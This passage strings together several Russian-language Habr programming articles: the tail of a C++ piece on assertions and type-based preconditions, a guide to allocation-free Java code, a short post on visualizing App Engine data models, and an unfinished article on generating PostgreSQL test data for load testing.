делать вручную посредством вызывающего фрагмента кода. Так что мы не избавимся от макроса, покуда нам нужна гибкость использования. Промежуточное заключение ------------------------ Мы создали простую утилиту для утверждений (assertion utility), гибкую в использовании, дженерик (generic) и поддерживающую отдельные уровни утверждений для каждого модуля. Во время написания этой статьи я решил опубликовать код в виде header-only библиотеки: [debug-assert](https://github.com/foonathan/debug-assert). В ней вы найдёте дополнительный код, например легко генерируемые модульные обработчики: ``` struct my_module : debug_assert::set_level<2>, // set the level, normally done via buildsystem macro debug_assert::default_handler // use the default handler {}; ``` Просто скопируйте заголовок в свой проект и начните пользоваться новым, улучшенным макросом утверждений. Надеюсь, он убережёт вас от написания макросов для каждого из проектов, в которых вам понадобится управлять утверждениями раздельно. На данный момент это очень маленькая и быстро созданная библиотека, так что, если у вас есть идеи о её модернизации, дайте мне знать! Утверждения — полезный инструмент для проверки предусловий функций. Но правильная архитектура типов может предотвратить возникновение ситуаций, в которых нужно использовать утверждения. В С++ прекрасная система типов, так что давайте применять её себе во благо. Мотивация --------- Я работаю над [standardese](https://github.com/foonathan/standardese), генератором документации C++. И там мне приходится иметь дело с большим количеством строковых значений. В частности, я постоянно удаляю пробелы в конце строк. Поскольку это очень простая задача, а определение пробела варьируется в зависимости от ситуации, я не озаботился написанием для этого отдельной функции. *Оглядываясь назад, могу сказать, что следовало бы.* Я использую подобный код: ``` while (is_whitespace(str.back()) str.pop_back(); ``` Пишу две строки, коммичу, выполняю push и, привычно дождавшись, когда сработает CI, получаю письмо с сообщением о сбое в Windows-сборке. Я в недоумении: у меня на машине всё работало, как и во всех Linux- и MacOS-сборках! Смотрю лог: тестовое исполнение завершилось тайм-аутом. Запускаю Windows и собираю там проект. При запуске тестов получаю удивительно скомпонованный диалог о сбое отладочных утверждений. *Тот самый, в котором Retry означает Debug.* Смотрю сообщение об ошибке. Рукалицо. Коммичу фикс: ``` while (!str.empty() && is_whitespace(str.back()) str.pop_back(); ``` Иногда строка бывает пустой. В libstdc++ в подобных случаях по умолчанию не включаются утверждения, что приводит к закономерному результату. Но в MSVC утверждения **включены**, и он замечает такие случаи. *Я совершил эту ошибку трижды. Всё-таки надо было написать функцию.* Также возникло ещё несколько проблем: я не следовал принципу DRY, libstdc++ по умолчанию не проверяла предусловия, Appveyor’у не нравятся графические диалоги утверждений, а MSVC под Linux не существует. Но я считаю, что главную роль в произошедшем сыграла архитектура `std::string::back()`. Если бы этот класс был сделан по уму, то код бы не скомпилировался и система не напомнила мне о том факте, что строка может быть пустой. Это сэкономило бы 15 минут моей жизни и одну загрузку в Windows. Как можно было этого избежать? С помощью системы типов. Решение ------- Рассматриваемая функция имеет такую упрощённую сигнатуру (signature): ``` char& back(); ``` Она возвращает последний символ строки. Если строка пустая, то в ней просто нет последнего символа, а значит, её вызов в любом случае является неопределённым поведением. Как нам об этом узнать? Если подумать, то всё очевидно: какой `char` должен быть возвращён в случае пустой строки? Здесь нет «неправильного» `char`, так что какой попало не вернёт. *На самом деле это `\0`, но в то же время это и последний символ `std::string`, и вы не сможете различить их.* Но об этом я не думал. Моя голова была занята сложным алгоритмом парсинга комментариев и проблемой того, что некоторые разработчики оставляют в конце комментариев пробелы, ломающие весь последующий парсинг разметки! У `back()` есть узкий контракт (narrow contract) — предусловие. Без сомнения, труднее работать с функциями с узким контрактом, чем с широким (wide contract). Так что одной из возможных задач может быть такая: сделать как можно меньше узких контрактов. Одна из проблем функции `back()` — то, что в ней не предусмотрено валидного возвращаемого символа на случай пустой строки. Но в С++ 17 есть потенциально полезное дополнение: `std::optional`: ``` std::optional back(); ``` `std::optional` может содержать значение, а может и не содержать. Если строка не пустая, то `back()` возвращает optional, содержащий последний символ. Но если строка пустая, то функция может вернуть optional, равный null. То есть мы смоделировали функцию так, что теперь нам больше не нужны предусловия. *Обратите внимание: при этом мы потеряли возможность использовать `back()` в качестве l-значения, потому что теперь нельзя применять `std::optional`. Так что `std::optional` — не самое лучшее решение, но об этом ниже.* Предположим, что `std::string::back()` имеет такую сигнатуру. Я снова сосредоточился на коде парсинга комментариев и написании пары строк для быстрого стирания «висящих» пробелов: ``` while (is_whitespace(str.back()) str.pop_back(); ``` `is_whitespace()` берёт `char`, но `back()` возвращает std::optional, так что я немедленно получаю на своей машине ошибку компилирования. Компилятор выловил для меня возможный баг, причём статически, с помощью одной лишь системы типов! Мне автоматически напомнили, что строка может быть пустой и что мне нужно приложить дополнительные усилия для получения символа. Конечно, я всё ещё могу ошибиться, ведь `std::optional` на самом деле не предназначен для этой задачи: ``` while (is_whitespace(*str.back()) ``` Этот код ведёт себя точно так же, и, вероятно, в MSVC появится отладочное утверждение. `std::optional::operator\*` не должен вызываться при optional = null, он возвращает содержащееся в нём значение. Так будет чуть лучше: ``` while (is_whitespace(str.back().value()) ``` По крайней мере, `std::optional::value()` предназначен для бросания исключения при optional = null, так что как минимум будет устойчиво сбоить в ходе runtime. Но оба этих решения не имеют абсолютно никаких преимуществ по сравнению с кодом с той же сигнатурой. Эти компонентные функции (member functions) никуда не годятся, они пробивают бреши в замечательных абстракциях, они вообще не должны существовать! Вместо них лучше применять высокоуровневые функции, благодаря которым было бы необязательно запрашивать значение. А для случаев, когда это необходимо, нужно использовать не-компонентные функции (non-member functions) с длинными, примечательными именами, которые заставляют быть внимательнее, — а не просто с одиночной звёздочкой! *`std::optional` и впрямь не лучшее решение. Он был создан как альтернатива `std::unique_ptr`, который не выделяет память, не больше и не меньше. Это тип-указатель (pointer type), а не монада «может быть» (Maybe), которой он мог бы быть. Из-за этого он бесполезен для решения ряда задач, когда нужны монады. Например, как эта.* Лучше воспользоваться таким решением: ``` while (is_whitespace(str.back().value_or('\0')) ``` `std::optional::value\_or()` возвращает либо значение, либо его альтернативу. В этом случае optional возвращает нулевой символ, который прекрасно подходит для прерывания цикла. Но, конечно, не всегда есть правильное недопустимое значение. Так что идеальным вариантом было бы изменить сигнатуру `is_whitespace()` так, чтобы она принимала `std::optional`. Руководство 1: используйте правильный тип возвращаемого значения ---------------------------------------------------------------- Есть много функций, которые либо что-то возвращают, либо вообще не должны вызываться. К таким функциям относятся и `back()/front()`. Их можно настроить так, чтобы они возвращали опциональный тип (optional type) вроде `std::optional`. Затем нужно выполнить проверку предусловия, при этом сама система типов помогает избегать ошибок, а также облегчает их обнаружение и обработку. Конечно, мы не можем применять `std::optional` везде, где есть вероятность нарваться на ошибку. Некоторые ошибки не относятся к ошибкам предусловий. В подобных ситуациях надо бросать исключение или использовать что-то подобное предлагаемому `std::expected`, который возвращает валидное значение или тип ошибки (error type). А если функции либо что-то возвращают, либо не должны вызываться при недопустимом состоянии, для них лучше возвращать опциональный тип. Параметрические предусловия (parameter preconditions) ----------------------------------------------------- Мы разобрались с предусловиями для недопустимых состояний, но чаще всего предусловия связаны с параметрами. Однако, изменив тип параметра, вы также можете легко избавиться и от предусловия. Рассмотрим функцию: ``` void foo(T* ptr) { assert(ptr); … } ``` Изменим сигнатуру на: ``` void foo(T& ref); ``` Теперь мы больше не можем передавать значение нулевого указателя (null pointer value). А если это всё же сделать, то вина за неопределённое поведение в связи с разыменованием (dereferencing) ляжет на вызывающих (callers). Этот подход работает не только с простыми указателями: ``` void foo(int value) { assert(value >= 0); … } ``` Изменим сигнатуру на: ``` void foo(unsigned value); ``` Теперь мы не можем передавать отрицательное значение без потери значимости (underflow). К сожалению, С++ унаследовал от С неявное преобразование из типов со знаком в типы без знаков, так что решение не идеальное. Руководство 2: используйте правильные типы аргументов ----------------------------------------------------- Выбирайте типы аргументов таким образом, чтобы можно было исключить предусловия и отразить их напрямую в коде. У вас есть указатель, который не должен быть null? Передайте ссылку. Целочисленное значение, которое не должно быть отрицательным? Передайте без знака. Целочисленное значение, которое может иметь лишь определённый именованный набор значений? Сделайте перечисление (enumeration). Можно пойти ещё дальше и написать общий обёрточный тип (general wrapper type), чей — явный! — конструктор утверждает, что у «необработанного» (raw) значения есть определённое значение, например: ``` class non_empty_string { public: explicit non_empty_string(std::string str) : str_(std::move(str)) { assert(!str_.empty()); } std::string get() const { return str_; } … // other functions you might want private: std::string str_; }; ``` Эту маленькую обёртку очень легко обобщить. Её использование выражает намерение и позволяет создать основную точку для проверки на валидность. Потом можно легко различать уже проверенные и, вероятно, недопустимые значения, а также безо всякой документации делать предусловия очевидными требованиями. Конечно, такой подход не всегда возможен. Иногда по условиям соглашения нам требуется какой-то определённый тип. Кроме того, может быть нецелесообразно пытаться использовать этот подход повсеместно: если вам нужны определённые предусловия лишь в одном месте, то зачем для этого писать целый шаблон? Заключение ---------- Система типов в C++ достаточно мощна, чтобы помогать вам ловить ошибки. Правильная архитектура функции позволяет перенести многие предусловия из самой функции в какое-то одно централизованное место. Выбирайте семантические типы аргументов, которые могут естественным образом выражать предусловия. Также выбирайте опциональные возвращаемые типы, если иногда функция не может вернуть валидное значение.
https://habr.com/ru/post/322804/
null
ru
null
# Как не мусорить в Java Существует популярное заблуждение о том, что если не нравится garbage collection, то надо писать не на Java, а на C/C++. Последние три года я занимался написанием low latency кода на Java для торговли валютой, и мне приходилось всячески избегать создания лишних объектов. В итоге я сформулировал для себя несколько простых правил, как свести аллокации в Java если не до нуля, то до некого разумного минимума, не прибегая к ручному управлению памятью. Возможно, кому-то из сообщества это тоже будет полезно. Зачем вообще избегать создания мусора ------------------------------------- О том, какие есть GC и как их настраивать говорилось и писалось много. Но в конечном счете как ни настраивай GC — код, который мусорит, будет работать субоптимально. Всегда возникает компромисс между throughput и latency. Становится невозможно улучшить одно не ухудшив другое. Как правило накладные расходы GC измеряют изучая логи — по ним можно понять в какие моменты были паузы и сколько времени они занимали. Однако в логах GC содержится далеко не вся информация об этих накладных расходах. Объект, созданный потоком, автоматически помещается в L1 кэш ядра процессора, на котором выполняется данный поток. Это приводит к вытеснению оттуда других потенциально полезных данных. При большом количестве аллокаций полезные данные могут быть вытеснены и из L3 кэша. Когда в следующий раз поток будет обращаться к этим данным произойдет кэш мисс, что приведет к задержкам в исполнении программы. Более того, так как L3 кэш является общим для всех ядер в пределах одного процессора, мусорящий поток будет выталкивать из L3 кэша данные и других потоков/приложений, и уже они будут сталкиваться с лишними дорогостоящими кэш миссами, даже если сами они написаны на голом С и мусор не создают. Никакие настройки никаких garbage collector’ов (ни C4, ни ZGC) не помогут справиться с этой проблемой. Единственный способ улучшить ситуацию в целом — это не создавать лишние объекты без надобности. Java в отличие от C++ не имеет богатого арсенала механизмов работы с памятью, но тем не менее есть ряд способов, позволяющих свести аллокации к минимуму. О них и пойдет речь. **Лирическое отступление**Разумеется, не нужно писать весь код в стиле garbage free. Фишка языка Java как раз в том, что можно сильно упростить себе жизнь, убирая только основные источники мусора. Можно также не заниматься safe memory reclamation при написании lock-free алгоритмов. Если некий код выполняется только один раз при старте приложения, то он может аллоцировать сколько угодно, и это не страшно. Ну и разумеется, основной рабочий инструмент при избавлении от лишнего мусора — это allocation profiler. Использование примитивных типов ------------------------------- Самое простое, что можно сделать во многих случаях — это использовать примитивные типы вместо объектных. В JVM есть ряд оптимизаций, позволяющих свести к минимуму накладные расходы объектных типов, например кэширование маленьких значений целочисленных типов и инлайнинг простых классов. Но на эти оптимизации не всегда стоит полагаться, потому что они могут и не отработать: целочисленное значение может быть не быть закешированным, а инлайнинг может не произойти. Более того, при работе с условным Integer’ом мы вынуждены переходить по ссылке, что потенциально приводит к кэш миссу. Так же у всех объектов есть заголовки, которые занимают лишнее место в кэше, вытесняя оттуда другие данные. Давайте считать: примитивный int занимает 4 байта. Объектный `Integer` занимает 16 байт + размер ссылки на этот Integer 4 байта минимум (в случае compressed oops). В сумме получается, что `Integer` занимает в пять (!) раз больше места, чем `int`. Поэтому лучше собственноручно использовать именно примитивные типы. Приведу несколько примеров. ### Пример 1. Обычные вычисления Допустим, у нас есть обычная функция, которая просто что-то считает. ``` Integer getValue(Integer a, Integer b, Integer c) { return (a + b) / c; } ``` Такой код скорее всего заинлайнится (и метод и классы) и не приведет к лишним аллокациям, но быть уверенным в этом нельзя. Даже если это произойдет, останется проблема с тем, что отсюда может вылететь `NullPointerException`. JVM так или иначе должна будет либо вставлять проверки на `null` под капотом, либо каким-то образом понять из контекста, что `null` в качестве аргумента прийти не может. Так или иначе, лучше просто написать этот же код на примитивах. ``` int getValue(int a, int b, int c) { return (a + b) / c; } ``` ### Пример 2. Лямбды Иногда объекты создаются без нашего ведома. Например, если мы передаем примитивные типы туда, где ожидаются объектные. Это часто происходит при использовании лямбда выражений. Представим, что у нас есть такой код: ``` void calculate(Consumer calculator) { int x = System.currentTimeMillis(); calculator.accept(x); } ``` Несмотря на то, что переменная x является примитивом, будет создан объект типа Integer, который будет передан в calculator. Чтобы этого избежать, надо использовать `IntConsumer` вместо `Consumer`: ``` void calculate(IntConsumer calculator) { int x = System.currentTimeMillis(); calculator.accept(x); } ``` Такой код уже не приведет к созданию лишнего объекта. В java.util.function есть целый набор стандартных интерфейсов, адаптированных для использования примитивных типов: `DoubleSupplier`, `LongFunction` и т.д. Ну а если чего-то не хватает, то всегда можно добавить нужный интерфейс с примитивами. Например вместо `BiConsumer` можно использовать самодельный интерфейс. ``` interface IntDoubleConsumer { void accept(int x, double y); } ``` ### Пример 3. Коллекции Использование примитивного типа может быть затруднено тем, что переменная этого типа лежит в некой коллекции. Предположим, что у нас есть некий `List` и мы хотим узнать, какие числа в нем имеются и посчитать, сколько раз каждое из чисел повторяется. Для этого мы используем `HashMap`. Код выглядит так: ``` List numbers = new ArrayList<>(); // fill numbers somehow Map counters = new HashMap<>(); for (Integer x : numbers) { counters.compute(x, (k, v) -> v == null ? 1 : v + 1); } ``` Этот код плох сразу по нескольким параметрам. Во-первых, он использует промежуточную структуру данных, без которой наверняка можно было бы обойтись. Ну да ладно, для простоты будем считать, что этот список потом чего-то понадобится, т.е. совсем его убрать нельзя. Во-вторых, в обоих местах используются объектный `Integer` вместо примитивного `int`. В-третьих, происходит множество аллокаций в методе `compute`. В четвертых, происходит аллокация итератора. Эта аллокация скорее всего заинлайнится, но тем не менее. Как превратить этот код в garbage free код? Нужно просто использовать коллекцию на примитивах из некой сторонней библиотеки. Есть целый ряд библиотек, содержащих такие коллекции. Следующий кусок кода использует библиотеку [agrona](https://github.com/real-logic/agrona). ``` IntArrayList numbers = new IntArrayList(); // fill numbers somehow Int2IntCounterMap counters = new Int2IntCounterMap(0); for (int i = 0; i < numbers.size(); i++) { counters.incrementAndGet(numbers.getInt(i)); } ``` Объекты, которые тут создаются, это две коллекции и два `int[]`, которые находятся внутри этих коллекций. Обе коллекции можно переиспользовать, вызвав у них метод `clear()`. Используя коллекции на примитивах мы не усложнили наш код (и даже упростили, убрав метод compute со сложной лямбдой внутри него) и получили следующие дополнительные бонусы по сравнению с использованием стандартных коллекций: 1. Практически полное отсутствие аллокаций. Если коллекции переиспользовать, то аллокаций не будет вовсе. 2. Существенная экономия памяти (`IntArrayList` занимает примерно в пять раз меньше места, чем `ArrayList`. Как уже говорилось, мы заботимся именно об экономном использовании кэшей процессора, а не о RAM. 3. Последовательный доступ к памяти. На тему того, почему это важно, написано много, так что я не буду на этом останавливаться. Вот пара статей: [Martin Thompson](https://mechanical-sympathy.blogspot.com/2012/08/memory-access-patterns-are-important.html) и [Ulrich Drepper](https://people.freebsd.org/~lstewart/articles/cpumemory.pdf). Еще один небольшой комментарий насчет коллекций. Может оказаться так, что в коллекции лежат значения разных типов, и поэтому заменить ее на коллекцию с примитивами не получается. На мой взгляд это признак плохого дизайна структуры данных или алгоритма в целом. Скорее всего в этом случае аллокация лишних объектов является не главной проблемой. Mutable объекты --------------- А что делать, если примитивами обойтись не получается? Например в том случае, если нужный нам метод должен вернуть несколько значений. Ответ простой — использовать mutable объекты. **Небольшое отступление**В некоторых языках делается упор на использование immutable объектов, например в Scala. Основной аргумент в их пользу заключается в том, что сильно упрощается написание многопоточного кода. Тем не менее, имеются и накладные расходы, связанные с избыточной аллокацией мусора. Если мы хотим этого их избежать, то нам не следует создавать короткоживущие immutable объекты. Как это выглядит на практике? Предположим, нам требуется посчитать частное и остаток от деления. И для этого мы используем следующий код. ``` class IntPair { int x; int y; } IntPair divide(int value, int divisor) { IntPair result = new IntPair(); result.x = value / divisor; result.y = value % divisor; return result; } ``` Как можно избавиться от аллокации в этом случае? Правильно, передать `IntPair` в качестве аргумента и записать туда результат. В этом случае надо написать подробный javadoc, а еще лучше использовать некую конвенцию для названий переменных, куда записывается результат. Например, их можно начинать с префикса out. Garbage free код в этом случае будет выглядеть так: ``` void divide(int value, int divisor, IntPair outResult) { outResult.x = value / divisor; outResult.y = value % divisor; } ``` Хочу заметить, что метод `divide` не должен нигде сохранять ссылку на pair или передавать ее в методы, которые это могут сделать, иначе у нас могут появиться большие проблемы. Как мы видим, mutable объектами пользоваться сложнее, чем примитивными типами, поэтому если есть возможность использовать примитивы, то лучше так и поступить. По факту, в нашем примере мы перенесли проблему с аллокацией изнутри метода divide наружу. Во всех местах, где мы вызываем этот метод мы должны будем иметь некую пустышку `IntPair`, которую будем передавать в `divide`. Зачастую достаточно хранить эту пустышку в `final` поле объекта, откуда мы вызываем метод `divide`. Приведу надуманный пример: предположим, что наша программа занимается только тем, что получает по сети поток чисел, делит их и отправляет результат в тот же сокет. ``` class SocketListener { private final IntPair pair = new IntPair(); private final BufferedReader in; private final PrintWriter out; SocketListener(final Socket socket) throws IOException { in = new BufferedReader(new InputStreamReader(socket.getInputStream())); out = new PrintWriter(socket.getOutputStream(), true); } void listenSocket() throws IOException { while (true) { int value = in.read(); int divisor = in.read(); divide(value, divisor, pair); out.print(pair.x); out.print(pair.y); } } } ``` Для лаконичности я не стал писать “лишний” код по обработке ошибок, корректному завершению работы программы и т.д. Основная идея этого куска кода заключается в том, что используемый нами объект `IntPair` создается один раз и сохраняется в `final` поле. Объектные пулы -------------- Когда мы пользуемся mutable объектами мы должны сначала откуда-то взять пустой объект, потом записать в него нужные нам данные, попользоваться ими где-то, а затем вернуть объект “на место”. В вышеописанном примере объект всегда был “на месте”, т.е. в `final` поле. К сожалению, это не всегда получается сделать простым образом. Например, мы можем заранее не знать, сколько именно объектов нам понадобится. В этом случае нам на помощь приходят объектные пулы. Когда нам становится нужен пустой объект, мы достаем его из объектного пула, а когда он перестает быть нужен, мы его туда возвращаем. Если в пуле нет свободного объекта, то пул создает новый объект. Это уже по факту является ручным управлением памятью со всеми вытекающими последствиями. К этому способу желательно не прибегать, если есть возможность пользоваться предыдущими способами. Что может пойти не так? * Мы можем забыть вернуть объект в пул, и тогда создастся мусор ("memory leak"). Это небольшая проблема — слегка просядет производительность, но отработает GC и программа продолжит работать. * Мы можем вернуть объект в пул, но сохранить на него ссылку где-то. Потом кто-то другой достанет объект из пула, и в этот момент в нашей программе уже будут две ссылки на один и тот же объект. Это классическая проблема use-after-free. Это сложно дебажить, т.к. в отличие от C++ программа не упадет с сегфолтом, а продолжит *неправильно* работать. Для того чтобы уменьшить вероятность совершения описанных выше ошибок можно использовать стандартную конструкцию try-with-resources. Выглядеть это может так: ``` public interface Storage { T get(); void dispose(T object); } class IntPair implements AutoCloseable { private static final Storage STORAGE = new StorageImpl(IntPair::new); int x; int y; private IntPair() {} public static IntPair create() { return STORAGE.get(); } @Override public void close() { STORAGE.dispose(this); } } ``` Метод divide может выглядеть так: ``` IntPair divide(int value, int divisor) { IntPair result = IntPair.create(); result.x = value / divisor; result.y = value % divisor; return result; } ``` А метод `listenSocket` вот так: ``` void listenSocket() throws IOException { while (true) { int value = in.read(); int divisor = in.read(); try (IntPair pair = divide(value, divisor)) { out.print(pair.x); out.print(pair.y); } } } ``` В IDE как правило можно настроить подсвечивание всех случаев использования `AutoCloseable` объектов вне try-with-resources блока. Но это не стопроцентный вариант, т.к. подсвечивание в IDE может быть просто выключено. Поэтому есть еще один способ гарантировать возврат объекта в пул — инверсия контроля. Приведу пример: ``` class IntPair implements AutoCloseable { private static final Storage STORAGE = new StorageImpl(IntPair::new); int x; int y; private IntPair() {} private static void apply(Consumer consumer) { try(IntPair pair = STORAGE.get()) { consumer.accept(pair); } } @Override public void close() { STORAGE.dispose(this); } } ``` В этом случае мы в принципе не можем получить доступ к объекту класса `IntPair` снаружи. К сожалению, этот способ тоже работает не всегда. Например, он не будет работать в случае если один поток достает объекты из пула и кладет в некую очередь, а другой поток достает их из очереди и возвращает в пул. Очевидно, что если мы храним в пуле не самописные объекты, а какие-то библиотечные, которые не имплементируют `AutoCloseable`, то вариант с try-with-resources тоже не прокатит. Дополнительной проблемой здесь является многопоточность. Реализация объектного пула должна быть очень быстрой, чего довольно сложно добиться. Медленный пул может принести больше вреда для производительности, чем пользы. В свою очередь аллокация новых объектов в TLAB происходит очень быстро, гораздо быстрее, чем malloc в C. Написание быстрого объектного пула — это отдельная тема, которую я бы сейчас не хотел развивать. Скажу только, что хороших "готовых" реализаций я не видел. Вместо заключения ----------------- Короче говоря, переиспользование объектов с помощью объектных пулов — это серьезный геморрой. К счастью, практически всегда без него можно обойтись. Мой личный опыт говорит о том, что избыточное использование объектных пулов сигнализирует о проблемах с архитектурой приложения. Как правило, нам достаточно одного инстанса объекта, закешированного в `final` поле. Но даже это overkill, если есть возможность использовать примитивные типы. Update: ------- Да, вспомнил еще один способ для тех, кто не боится побитовых сдвигов: упаковывание нескольких маленьких примитивных типов в один большой. Предположим, что нам надо вернуть два `int`’а. В этом конкретном случае можно не использовать объект `IntPair`, а вернуть один `long`, первые 4 байта в котором будут соответствовать первому `int`’у, а вторые 4 байта — второму. Код может выглядеть так: ``` long combine(int left, int right) { return ((long)left << Integer.SIZE) | (long)right & 0xFFFFFFFFL; } int getLeft(long value) { return (int)(value >>> Integer.SIZE); } int getRight(long value) { return (int)value; } long divide(int value, int divisor) { int x = value / divisor; int y = value % divisor; return combine(left, right); } void listenSocket() throws IOException { while (true) { int value = in.read(); int divisor = in.read(); long xy = divide(value, divisor); out.print(getLeft(xy)); out.print(getRight(xy)); } } ``` Такие методы, разумеется, надо хорошенько тестировать, потому что накосячить при их написании довольно легко. Но зато потом просто пользоваться.
https://habr.com/ru/post/436024/
null
ru
null
# Визуализация модели данных Для django есть хорошая утилитка, которая анализирует описание модели данных и рисует её графическое представление в dot-формате graphviz. Сегодня [переписал эту утилитку под appengine](http://code.google.com/p/appengine-modelviz/). [![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/143/597/591/143597591a9751ad1689bb08431557d1.png "пример схемы со ссылкой на большую картинку")](http://appengine-modelviz.googlecode.com/svn/wiki/models-sample.png) Утилита распознаёт Expando (добавляет многоточие в список атрибутов), наследование от PolyModel (рисует стрелки наследования), а также ссылочные свойства (в том числе самодельные, типа ManyToManyProperty). Как пользоваться: 1. засунуть скрипт в каталог с sdk 2. запустить её из корневого каталога приложения, указав аргументами список модулей для анализа (в формате имён дя import): `python path/to/modelviz.py models.foo models.bar > models.dot` 3. сконвертить полученный dot-файл во что-нибудь более удобное, например, в png: `dot models.dot -Tpng > models.png` 4. наслаждаться неземной красотой
https://habr.com/ru/post/107603/
null
ru
null
# Атака не клонов, или Генерация и анализ тестовых данных для нагрузки. Часть 2 В [предыдущей статье](https://habr.com/ru/company/oleg-bunin/blog/588643/) я рассказал о подготовке данных для тестирования, что данные лучше генерировать, а не клонировать. Теперь стоит подробно разобрать, как их генерировать. Есть несколько подходов к генерации данных: c SQL, Python, сериализацией. У всех из них есть свои плюсы, минусы и особенности, которые стоит учитывать. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/3f5/ba1/2c2/3f5ba12c2ba6dd94b80f447f904fd56e.png)Генерация данных с PostgreSQL ----------------------------- Чаще всего я работаю с Postgres. Я пришел к структуре генератора тестовых данных, которой хочу с вами поделиться. Она представляет из себя набор хранимых процедур, где есть корневая хранимая процедура, в ней есть параметры. Она вызывает служебные хранимые процедуры, которые вызывают служебные хранимые процедуры для сценариев, которые вызывают уже супер служебные процедуры, которые выполняют атомарные действия: получи пароль, получи имя, заполни какую-то запись. Сверху это выглядит как супер-параметризированная структура, где я говорю, что мне нужно по таким-то шаблонам сгенерировать столько-то тысяч записей и запускаю цикл. ![Функции-обертки с параметрами генерации данных для сценариев, например, функция load_fill_database_change_password для сценария change_password](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/3f5/20a/e34/3f520ae3482faf446f30217f244da7da.jpeg "Функции-обертки с параметрами генерации данных для сценариев, например, функция load_fill_database_change_password для сценария change_password")Функции-обертки с параметрами генерации данных для сценариев, например, функция load\_fill\_database\_change\_password для сценария change\_passwordЭти количества и шаблоны, конечно, беру из методики, которую заранее подготовили. Параметры передаются в функцию, которая уже на основе этих шаблонов готовит данные для конкретного сценария. В ней цикл от 0 до 10000, чтобы делать INSERT INTO, INSERT INTO и различные вычисления.  ![Параметризируемая функция генерации данных с циклами генерации данных](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/37a/279/b81/37a279b81fc4c80a1f365b8c8e64f649.jpeg "Параметризируемая функция генерации данных с циклами генерации данных")Параметризируемая функция генерации данных с циклами генерации данных### Подходы для генерации значений В Postgres SQL можно добиться того, что все данные будут согласованы, идентификаторы высчитаны, а вычисления реализованы на языке SQL или использованы дополнительные расширения. Но такой подход реализуем: ![Цикл генерации значений, где каждое значение зависит от счетчика цикла](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b70/2d7/27e/b702d727e0fe61c1a03e633752f70750.png "Цикл генерации значений, где каждое значение зависит от счетчика цикла")Цикл генерации значений, где каждое значение зависит от счетчика циклаМы бежим в цикле и на основе индекса вычисляем, например, имя и фамилию пользователя 1. У него будет индекс №1. Для индекса №2 используются аналогичные вычисления. Конечно, данные получатся не такими случайными, как в реальной жизни, но они будут корректными.  Я знаю такие подходы: #### Число из интервала Взять остаток от деления на N: это даст число в интервале от 0 до N-1. ``` timeDiffMinutes = i % 80000 ``` #### Логин пользователя Или использовать функцию, которая в SQL для Postgres называется [format](https://postgrespro.ru/docs/postgrespro/10/functions-string#FUNCTIONS-STRING-FORMAT). Там есть шаблонные строки и параметры. ``` nick_name = format( 'user%sname', i::text ) ``` Пример результата: `user123name` #### IP-адрес Можно объединить, например, [format](https://postgrespro.ru/docs/postgrespro/10/functions-string#FUNCTIONS-STRING-FORMAT) и остаток от деления для того, чтобы вычислять IP-адреса в журнал входов в систему или таблицу аудита. Для IPv4 ``` format( '106.%s.%s.%s', (((ip_index/250)/250)%250)::text, --- 0..249 ((ip_index/250)%250)::text, --- 0..249 (1+ip_index%250)::text --- 1..250 ) ``` Пример результата: `106.0.1.2` А всего 15 625 000 значений #### GUID через md5 Часто идентификаторами или ключами в таблицах являются GUID’ы. Я придумал способ, чтобы вычислить GUID для теста. Например, если нужен GUID в таблицу `users` для пользователя №175000 для сценария login, то можно взять * число `175000`, превратить его в строку фиксированной длины через [lpad](https://postgrespro.ru/docs/postgrespro/10/functions-string#FUNCTIONS-STRING-OTHER) * конкатенировать с именем таблицы `'users'` * и конкатенировать с названием теста `'login'` Взять от результата [md5](https://postgrespro.ru/docs/postgrespro/10/functions-string#FUNCTIONS-STRING-OTHER) хэш и привести его к типу uuid. Так мы получим уникальный GUID: ``` guid = md5('users' || test_name || lpad(i::text, 12, '0') )::uuid ``` Пример результата: `faf154aa-54d1-0b07-3c8e-fe8921f96c45` #### GUID через конкатенацию строк Я знаю, что на специально подготовленных данных в md5 бывают проблемы — [коллизии](https://datatracker.ietf.org/doc/html/rfc6151#section-2.1). Но при использовании имени таблицы, имени теста и номера строки в тесте, у меня за всю практику ни разу коллизий не было. Поэтому я рекомендую вам md5 для генерации предсказуемых, но при этом уникальных GUID. Если сомневаетесь, можете сформировать md5 с префиксами: идентификатор теста замените на другую подстроку и используйте номер вашей записи. Получится GUID для записи 1, например, префикс + 000000000001: ``` guid = ('22-33-44-55' || 'aa-bb-cc-dd-ee-ff' || lpad(i::text, 12, '0'))::uuid ``` Пример результата: `22334455-aabb-ccdd-eeff-000000000001` #### Выбор констант из массива Можно выбирать данные из массивов: ``` array[ 1 + mod( abs("userIndex"), arrayLenght ) ] ``` Предел на размер массива данных - 1 ГБайт, тестировал на массиве в 10 МБайт. Использую 64 КБайт (примерный размер сценария ниже - 64 КБайт): ``` -- Function: public.load_get_name(integer) -- DROP FUNCTION public.load_get_name(integer); CREATE OR REPLACE FUNCTION public.load_get_name("userIndex" integer DEFAULT 0) RETURNS text AS $BODY$ DECLARE namearray text[] := array[ 'Авдей', 'Авдий', 'Авенир', 'Аверкий', 'Авксентий', 'Агафон', --- '…', 'Фёдор', 'Харитон', 'Христофор', 'Эдуард', 'Эраст', 'Юлиан', 'Юлий', 'Юрий', 'Юстин', 'Яков', 'Якун', 'Ярослав' ]; nameArrayLenght integer := array_lenght(nameArray, 1); BEGIN RETURN nameArray[ 1 + mod(abs("userIndex"), nameArrayLenght) ]; END $BODY$ LANGUAGE plpgsql VOLATILE COST 100; ALTER FUNCTION public.load_get_name(integer) OWNER TO postgres; ``` #### Выбор констант из справочной таблицы Или выбирать данные из целых таблиц с помощью SELECT, которые вы загрузили из CSV файла. ``` CREATE FUNCTION public.load_get_password("userLogin") RETURNS text AS $BODY$ DECLARE password varchar(255); BEGIN password = (select password_hash from test_passwords where user_name="userLogin" limit 1); RETURN password; END $BODY$ LANGUAGE plpgsql VOLATILE; ``` Я рассказал про подходы, но я бы не был нагрузочником, если бы не сказал, как эти подходы ускорить. Ускорение вставки значений -------------------------- Чтобы ускорить вставку значений не только за счет использования хранимых процедур, а еще за счет оптимального процесса, я рекомендую до генерирования данных сделать еще 4 предварительных шага: **1) Сохранить схему БД в виде файла — вдруг что-то поломается;** **2) Отключить индексы запросом для Postgres:** ``` UPDATE pg_index SET indisready=false WHERE indexrelid = ( SELECT oid FROM pg_class WHERE relname in ( 'таблица1' ,'таблица2' ) ); ``` Здесь мы говорим, что 